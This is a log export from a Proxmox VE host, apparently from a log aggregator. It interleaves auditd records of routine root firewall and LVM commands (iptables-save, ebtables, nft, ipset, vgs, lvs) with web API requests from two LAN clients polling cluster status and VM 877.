{"@timestamp":1781965247305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965247.305:64807): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565223,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.223:66141): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964475608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.608:61181): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8dd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966047783,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:06 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965247298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965247.298:64804): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565214,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.214:66140): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964475600,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.600:61180): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046782,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781965245838,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.838:64801): arch=c000003e syscall=59 success=yes exit=0 a0=57b2fbb4fe90 a1=57b2fbb4cc10 a2=57b2fbb2e680 a3=5 items=2 ppid=62250 pid=62256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565201,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.201:66139): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964475592,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.592:61179): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58734 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045692,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:05 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965245835,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.835:64800): arch=c000003e syscall=59 success=yes exit=0 a0=57b2bf3f6ac8 a1=7ffd265d7e40 a2=57b2fbb2e680 a3=57b2bf3da24e items=2 ppid=62250 pid=62252 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965564999,"@rawstring":"node=pve type=EXECVE msg=audit(1781965564.999:66138): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964475589,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.589:61178): arch=c000003e syscall=59 success=yes exit=0 a0=5d341b8dbb20 a1=5d341b8e7ac0 a2=5d341b8b5680 a3=5 items=2 ppid=58727 pid=58733 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781965245834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.834:64799): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd265d7e00 a1=57b2fbb35310 a2=57b2fbb2e680 a3=5 items=2 ppid=62250 pid=62251 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965564953,"@rawstring":"node=pve type=EXECVE msg=audit(1781965564.953:66137): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964475586,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.586:61177): arch=c000003e syscall=59 success=yes exit=0 a0=5d33e1fffac8 a1=7ffda98f7780 a2=5d341b8b5680 a3=5d33e1fe324e items=2 ppid=58727 pid=58729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045692,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:04 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965245828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.828:64797): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62250 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965563475,"@rawstring":"node=pve type=EXECVE msg=audit(1781965563.475:66136): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964475585,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.585:61176): arch=c000003e syscall=59 success=yes exit=0 a0=7ffda98f7740 a1=5d341b8d71c0 a2=5d341b8b5680 a3=5 items=2 ppid=58727 pid=58728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966043779,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781965245819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.819:64796): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62249 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965563465,"@rawstring":"node=pve type=EXECVE msg=audit(1781965563.465:66133): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964475581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.581:61174): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58727 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966043779,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965245810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.810:64795): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965558456,"@rawstring":"node=pve type=EXECVE msg=audit(1781965558.456:66130): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964475574,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.574:61173): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58726 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966043779,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:02 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965245801,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.801:64794): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62247 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965558439,"@rawstring":"node=pve type=EXECVE msg=audit(1781965558.439:66127): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964475567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.567:61172): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58725 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966042762,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965245793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.793:64793): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62246 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555189,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.189:66124): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964475562,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.562:61171): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b04b60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58724 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966042762,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781965245787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.787:64792): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d36ad8ec740 items=0 ppid=1156 pid=62245 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965555184,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.184:66123): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964475556,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.556:61170): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149d40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966041807,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965245785,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.785:64791): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed540 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62245 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555184,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.184:66122): argc=1 a0=\"date\""} {"@timestamp":1781964475548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.548:61169): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4240 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966041807,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781965245778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.778:64790): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed760 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62244 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555179,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.179:66120): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964474612,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964474.612:61168): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73db6c0 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58721 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966039748,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965245773,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.773:64789): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12eef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555170,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.170:66119): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964474583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964474.583:61167): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec220 a1=64f8d73bfa00 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58720 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966039748,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 893"} {"@timestamp":1781965245767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.767:64788): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e60a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555164,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.164:66118): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964474512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964474.512:61166): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966039748,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965245759,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.759:64787): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12eef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555156,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.156:66117): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964474502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964474.502:61163): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966039748,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:58 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965245753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.753:64786): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555149,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.149:66116): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964469483,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964469.483:61160): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58715 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966038761,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965245743,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.743:64785): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62239 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555142,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.142:66114): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964469469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964469.469:61157): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58714 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966038761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781965245735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.735:64784): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62238 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555136,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.136:66113): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964465539,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.539:61154): arch=c000003e syscall=59 success=yes exit=0 a0=5b9a904b2e50 a1=5b9a904afbd0 a2=5b9a90491680 a3=5 items=2 ppid=58707 pid=58713 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966037428,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 946"} {"@timestamp":1781965245730,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.730:64783): arch=c000003e syscall=59 success=yes exit=0 a0=5d17f84eded0 a1=5d17f84eac50 a2=5d17f84cc680 a3=5 items=2 ppid=62231 pid=62237 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555130,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.130:66112): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964465536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.536:61153): arch=c000003e syscall=59 success=yes exit=0 a0=5b9a5dbf8ac8 a1=7ffd2ab3e510 a2=5b9a90491680 a3=5b9a5dbdc24e items=2 ppid=58707 pid=58709 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966037428,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965245727,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.727:64782): arch=c000003e syscall=59 success=yes exit=0 a0=5d17ea49eac8 a1=7fff4cc70810 a2=5d17f84cc680 a3=5d17ea48224e items=2 ppid=62231 pid=62233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555122,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.122:66111): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964465534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.534:61152): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd2ab3e4d0 a1=5b9a90498310 a2=5b9a90491680 a3=5 items=2 ppid=58707 pid=58708 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035717,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965245725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.725:64781): arch=c000003e syscall=59 success=yes exit=0 a0=7fff4cc707d0 a1=5d17f84d3310 a2=5d17f84cc680 a3=5 items=2 ppid=62231 pid=62232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555116,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.116:66110): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964465531,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.531:61150): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58707 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} 